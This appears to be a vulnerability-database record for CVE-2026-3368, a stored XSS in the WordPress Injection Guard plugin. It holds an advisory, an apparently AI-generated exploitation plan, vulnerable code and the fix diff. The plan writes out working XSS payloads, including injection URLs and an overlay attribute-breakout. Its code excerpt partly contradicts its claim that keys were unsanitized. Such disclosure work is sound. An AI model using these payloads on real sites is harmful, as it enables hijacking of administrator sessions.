[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fJPH7hjyoIV9D7C0WPd6rfvOFmaFhS71JvxW-xnnxlOE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-3368","injection-guard-unauthenticated-stored-cross-site-scripting-via-query-parameter-name","Injection Guard \u003C= 1.2.9 - Unauthenticated Stored Cross-Site Scripting via Query Parameter Name","The Injection Guard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via malicious query parameter names in all versions up to and including 1.2.9. This is due to insufficient input sanitization in the sanitize_ig_data() function which only sanitizes array values but not array keys, combined with missing output escaping in the ig_settings.php template where stored parameter keys are echoed directly into HTML. When a request is made to the site, the plugin captures the query string via $_SERVER['QUERY_STRING'], applies esc_url_raw() (which preserves URL-encoded special characters like %22, %3E, %3C), then passes it to parse_str() which URL-decodes the string, resulting in decoded HTML\u002FJavaScript in the array keys. These keys are stored via update_option('ig_requests_log') and later rendered without esc_html() or esc_attr() on the admin log page. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in the admin log page that execute whenever an administrator views the Injection Guard log interface.","injection-guard",null,"\u003C=1.2.9","1.3.0","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-20 10:55:45","2026-03-20 23:25:10",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F15d9817c-910d-4ce1-a5fb-67a2b6580e16?source=api-prod",1,[22,23,24,25,26,27],"css\u002Fstyle.css","guard.php","ig_settings.php","index.php","readme.txt","templates\u002Fdashboard.php","researched",false,3,"# Detailed Exploitation Research Plan: CVE-2026-3368\n\n## 1. Vulnerability Summary\n**ID:** CVE-2026-3368\n**Plugin:** Injection Guard (slug: `injection-guard`)\n**Affected Versions:** \u003C= 1.2.9\n**Vulnerability Type:** Unauthenticated Stored Cross-Site Scripting (XSS) via Query Parameter Name\n\nThe Injection Guard plugin automatically logs all unique query strings sent to the WordPress site to help administrators monitor potential \"injection\" attempts. The vulnerability exists because the plugin captures the raw `$_SERVER['QUERY_STRING']`, applies `esc_url_raw()` (which preserves URL-encoded characters), and then uses `parse_str()` to convert the string into an associative array. \n\nIn version 1.2.9 and below, the `sanitize_ig_data()` function—responsible for cleaning this array before storage—was found to sanitize only the array values and not the array keys. These unsanitized keys (which can contain arbitrary HTML and JavaScript) are stored in the `ig_requests_log` option in the database. When an administrator views the \"Log\" tab in the Injection Guard settings page (`ig_settings.php`), these keys are echoed directly into the HTML context without proper output escaping (`esc_html` or `esc_attr`), leading to script execution in the administrator's browser.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** Any public-facing URL on the WordPress site (e.g., `\u002F`, `\u002Fwp-login.php`, or any post\u002Fpage).\n- **Hook:** `init` (priority 1).\n- **Vulnerable Parameter:** Any query string parameter **name** (the key).\n- **Authentication Level:** Unauthenticated.\n- **Preconditions:** The plugin must be active. The logging functionality is enabled by default as part of the plugin's core purpose.\n\n## 3. Code Flow\n1. **Entry Point:** A request is made to the WordPress site. The plugin, hooked to `init` via `add_action('init', 'ig_start', 1);` (in `index.php`), calls the `ig_start()` function (typically defined in `functions.php`).\n2. **Data Capture:** `ig_start()` instantiates the `guard_wordpress` class and calls `update_log()`.\n3. **Internal Logic:** `guard_wordpress::update_log()` calls `get_requests_log_updated()` (defined in the parent class `guard_plugins` in `guard.php`).\n4. **Processing:**\n   - The query string is retrieved: `$this->query_string = isset($_SERVER['QUERY_STRING']) ? esc_url_raw($_SERVER['QUERY_STRING']) : '';`.\n   - The query string is parsed into an array: `parse_str($this->query_string, $updated_log_temp);`.\n   - The keys from `$updated_log_temp` (the parameter names) are assigned to the `$updated_log` array.\n5. **Storage Sink:** The `update_log()` function then calls `update_option('ig_requests_log', sanitize_ig_data($updated_log));`.\n6. **Vulnerable Sanitization:** The `sanitize_ig_data()` function in `guard.php` (in versions \u003C= 1.2.9) fails to apply `sanitize_text_field()` to the keys of the array, only to the values.\n7. **Render Sink:** When an admin visits `wp-admin\u002Foptions-general.php?page=ig_settings`, the template `ig_settings.php` iterates through the log:\n   ```php\n   foreach($params as $param_key => $param):\n       \u002F\u002F ...\n       \u003Cinput type=\"checkbox\" ... value=\"\u003C?php echo $param_key; ?>\">\n       \u003Ci class=\"fa fa-question-circle\">\u003C\u002Fi> \u003C?php echo $param_key; ?>\n       \u002F\u002F ...\n   ```\n   The `$param_key` is echoed without escaping, triggering the XSS.\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required** for the unauthenticated part of this exploit. The logging mechanism is triggered automatically on the `init` hook for every request to the site, regardless of the user's authentication status or the presence of a CSRF token.\n\n## 5. Exploitation Strategy\nThe goal is to inject a stored XSS payload into the admin log page.\n\n### Step 1: Inject the Payload\nSend an unauthenticated HTTP GET request to the site root with a malicious query parameter name.\n\n- **Payload:** `\u003Cimg src=x onerror=alert(document.domain)>`\n- **URL Encoded Payload:** `%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E`\n- **Target URL:** `http:\u002F\u002Flocalhost:8080\u002F?%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E=1`\n\n**HTTP Request (via `http_request` tool):**\n```json\n{\n  \"method\": \"GET\",\n  \"url\": \"http:\u002F\u002Flocalhost:8080\u002F?%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E=1\"\n}\n```\n\n### Step 2: Trigger the Execution\nThe administrator must log in and navigate to the plugin's settings page.\n\n1. Navigate to `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Foptions-general.php?page=ig_settings`.\n2. Click on the **Log** tab (or check the HTML source, as the logs are rendered in a hidden tab by default).\n\n## 6. Test Data Setup\n1. **Plugin Installation:** Ensure `injection-guard` version 1.2.9 or lower is installed and activated.\n2. **Environment:** No specific posts or pages are needed; the site root is sufficient.\n\n## 7. Expected Results\n- Upon sending the malicious request, the plugin should store the key `\u003Cimg src=x onerror=alert(document.domain)>` in the `ig_requests_log` option.\n- When the administrator views the settings page, the browser should execute `alert(document.domain)`.\n- The HTML source of the settings page should contain the raw payload inside the `ig_log_list` `\u003Cul>` element.\n\n## 8. Verification Steps\nAfter performing the HTTP request, use WP-CLI to verify the payload was successfully stored in the database:\n\n```bash\nwp option get ig_requests_log --format=json\n```\nLook for an entry where the key contains the `\u003Cimg ...>` tag.\n\nTo verify the XSS via the browser:\n1. Log in as an administrator.\n2. Navigate to the plugin settings page.\n3. Use `browser_eval` to check for the presence of the payload in the DOM:\n   ```javascript\n   document.body.innerHTML.includes('\u003Cimg src=x onerror=alert(document.domain)>')\n   ```\n\n## 9. Alternative Approaches\nIf a simple tag injection is blocked by a WAF or browser filters, use an **attribute breakout** payload. This is effective because the key is echoed into the `value` attribute of an `\u003Cinput>` tag in `ig_settings.php`.\n\n**Attribute Breakout Payload:**\n`\" onmouseover=\"alert(1)\" style=\"position:fixed;top:0;left:0;width:100%;height:100%;z-index:999;\"`\n\n**URL for Injection:**\n`\u002F?%22%20onmouseover%3D%22alert(1)%22%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A999%3B%22=1`\n\nThis creates a transparent overlay that triggers the alert as soon as the administrator moves their mouse over the page.","The Injection Guard plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting because it fails to sanitize query parameter names (keys) before storing them in the database and subsequently fails to escape them during output in the admin log interface. This allows unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the plugin's logs.","\u002F\u002F guard.php\nfunction sanitize_ig_data($input, $depth = 0) {\n    if ($depth > 10) return null; \u002F\u002F Prevent too deep recursion\n\n    if (is_array($input)) {\n        $new_input = array();\n        foreach ($input as $key => $val) {\n            $clean_key = sanitize_text_field($key);\n            $new_input[$clean_key] = is_array($val) ? sanitize_ig_data($val, $depth + 1) : sanitize_text_field($val);\n        }\n    } else {\n        \u002F\u002F ... (sanitization of value)\n    }\n\n    return $new_input;\n}\n\n---\n\n\u002F\u002F ig_settings.php @ line 117\n\u003Cinput type=\"checkbox\" data-uri=\"\u003C?php echo $log_head; ?>\" value=\"\u003C?php echo $param_key; ?>\">\n\u003Ci class=\"fa fa-question-circle\">\u003C\u002Fi> \u003C?php echo $param_key; ?> | \u003C?php echo date(get_option( 'date_format' , \"F j, Y\"), $param); ?>","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finjection-guard\u002F1.2.9\u002Fguard.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finjection-guard\u002F1.3.0\u002Fguard.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finjection-guard\u002F1.2.9\u002Fguard.php\t2026-02-28 06:57:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finjection-guard\u002F1.3.0\u002Fguard.php\t2026-03-14 21:13:48.000000000 +0000\n@@ -2,24 +2,52 @@\n \n \t\t\n \tfunction sanitize_ig_data($input, $depth = 0) {\n-\t\tif ($depth > 10) return null; \u002F\u002F Prevent too deep recursion\n+\t\n+\t\tif ($depth > 10) {\n+\t\t\treturn null; \u002F\u002F prevent deep recursion\n+\t\t}\n \t\n \t\tif (is_array($input)) {\n+\t\n \t\t\t$new_input = array();\n+\t\n \t\t\tforeach ($input as $key => $val) {\n-\t\t\t\t$clean_key = sanitize_text_field($key);\n-\t\t\t\t$new_input[$clean_key] = is_array($val) ? sanitize_ig_data($val, $depth + 1) : sanitize_text_field($val);\n+\t\n+\t\t\t\t\u002F\u002F sanitize array key\n+\t\t\t\t$clean_key = sanitize_key($key);\n+\t\n+\t\t\t\t\u002F\u002F sanitize value\n+\t\t\t\tif (is_array($val)) {\n+\t\t\t\t\t$new_input[$clean_key] = sanitize_ig_data($val, $depth + 1);\n+\t\t\t\t} else {\n+\t\n+\t\t\t\t\t$val = sanitize_text_field(wp_unslash($val));\n+\t\n+\t\t\t\t\tif (is_email($val)) {\n+\t\t\t\t\t\t$val = sanitize_email($val);\n+\t\t\t\t\t}\n+\t\n+\t\t\t\t\tif (wp_http_validate_url($val)) {\n+\t\t\t\t\t\t$val = esc_url_raw($val);\n+\t\t\t\t\t}\n+\t\n+\t\t\t\t\t$new_input[$clean_key] = $val;\n+\t\t\t\t}\n \t\t\t}\n+\t\n \t\t} else {\n-\t\t\t$new_input = sanitize_text_field($input);\n \t\n-\t\t\tif (is_email($new_input)) {\n-\t\t\t\t$new_input = sanitize_email($new_input);\n+\t\t\t$input = sanitize_text_field(wp_unslash($input));\n+\t\n+\t\t\tif (is_email($input)) {\n+\t\t\t\t$input = sanitize_email($input);\n \t\t\t}\n \t\n-\t\t\tif (wp_http_validate_url($new_input)) {\n-\t\t\t\t$new_input = esc_url_raw($new_input);\n+\t\t\tif (wp_http_validate_url($input)) {\n+\t\t\t\t$input = esc_url_raw($input);\n \t\t\t}\n+\t\n+\t\t\t$new_input = $input;\n \t\t}\n \t\n \t\treturn $new_input;\n@@ -51,7 +79,7 @@\n \tpublic function init(){\n \t\t$this->request = $_REQUEST;\n \t\t$this->request_uri = isset($_SERVER['REQUEST_URI']) ? esc_url( $_SERVER['REQUEST_URI'] ) : '';\n-\t\t$this->query_string = isset($_SERVER['QUERY_STRING']) ? esc_url_raw($_SERVER['QUERY_STRING']) : '';\n+\t\t$this->query_string = isset($_SERVER['QUERY_STRING']) ? wp_unslash($_SERVER['QUERY_STRING']) : '';\n \t\t$this->request_uri_cleaned = $this->cleaned_uri();\n \t}\n \t\n@@ -97,6 +125,7 @@\n \t\t$updated_log[$this->request_uri_cleaned] = is_array($updated_log[$this->request_uri_cleaned])?$updated_log[$this->request_uri_cleaned]:(array)$updated_log[$this->request_uri_cleaned];\n \t\t\n \t\tparse_str($this->query_string, $updated_log_temp);\n+\t\t$updated_log_temp = sanitize_ig_data($updated_log_temp);\n \t\t$time = time();\n \n \t\t\u002F\u002F $rand = rand(0, 5);\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finjection-guard\u002F1.2.9\u002Fig_settings.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finjection-guard\u002F1.3.0\u002Fig_settings.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finjection-guard\u002F1.2.9\u002Fig_settings.php\t2026-02-28 06:57:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Finjection-guard\u002F1.3.0\u002Fig_settings.php\t2026-03-14 21:13:48.000000000 +0000\n@@ -117,11 +117,11 @@\n \t\t\t\t\t\t\t\t\t\t\t\t?>\n \t\t\t\t\t\t\t\t\t\t\t\t\u003Cli>\n \t\t\t\t\t\t\t\t\t\t\t\t\t\u003Cdiv class=\"ig_params\">\n-\t\t\t\t\t\t\t\t\t\t\t\t\t\u003Cinput type=\"checkbox\" data-uri=\"\u003C?php echo $log_head; ?>\" value=\"\u003C?php echo $param_key; ?>\">\n-\t\t\t\t\t\t\t\t\t\t\t\t\t\u003Ci class=\"fa fa-question-circle\">\u003C\u002Fi> \u003C?php echo $param_key; ?> | \u003C?php echo date(get_option( 'date_format' , \"F j, Y\"), $param); ?>\n+\t\t\t\t\t\t\t\t\t\t\t\t\t\u003Cinput type=\"checkbox\" data-uri=\"\u003C?php echo esc_attr($log_head); ?>\" value=\"\u003C?php echo esc_attr($param_key); ?>\">\n+\t\t\t\t\t\t\t\t\t\t\t\t\t\u003Ci class=\"fa fa-question-circle\">\u003C\u002Fi> \u003C?php echo esc_html($param_key); ?> | \u003C?php echo date(get_option( 'date_format' , \"F j, Y\"), $param); ?>\n \t\t\t\t\t\t\t\t\t\t\t\t\t\u003C\u002Fdiv>\n \t\t\t\t\t\t\t\t\t\t\t\t\t\n-\t\t\t\t\t\t\t\t\t\t\t\t\t\u003Cdiv class=\"ig_actions\" data-uri=\"\u003C?php echo $log_head; ?>\" data-val=\"\u003C?php echo $param_key; ?>\">\n+\t\t\t\t\t\t\t\t\t\t\t\t\t\u003Cdiv class=\"ig_actions\" data-uri=\"\u003C?php echo esc_attr($log_head); ?>\" data-val=\"\u003C?php echo esc_attr($param_key); ?>\">","1. An unauthenticated attacker sends a GET request to any public URL on the site.\n2. The request includes a malicious query parameter where the payload is in the parameter name (the key), such as `\u002F?\u003Cimg src=x onerror=alert(1)>=1`.\n3. The plugin, hooked to 'init', captures the query string and uses `parse_str()` to decode the URL-encoded parameter name into a PHP array key.\n4. The `sanitize_ig_data()` function fails to sanitize the keys of this array, allowing the raw HTML\u002FJavaScript to remain.\n5. The payload is stored in the WordPress database via `update_option('ig_requests_log', ...) `.\n6. The vulnerability is triggered when a logged-in administrator visits the Injection Guard settings page (`wp-admin\u002Foptions-general.php?page=ig_settings`) and views the 'Log' tab, where the malicious key is echoed into the HTML without escaping.","gemini-3-flash-preview","2026-04-18 01:16:45","2026-04-18 01:17:16",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","1.2.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finjection-guard\u002Ftags\u002F1.2.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Finjection-guard.1.2.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finjection-guard\u002Ftags\u002F1.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Finjection-guard.1.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Finjection-guard\u002Ftags"]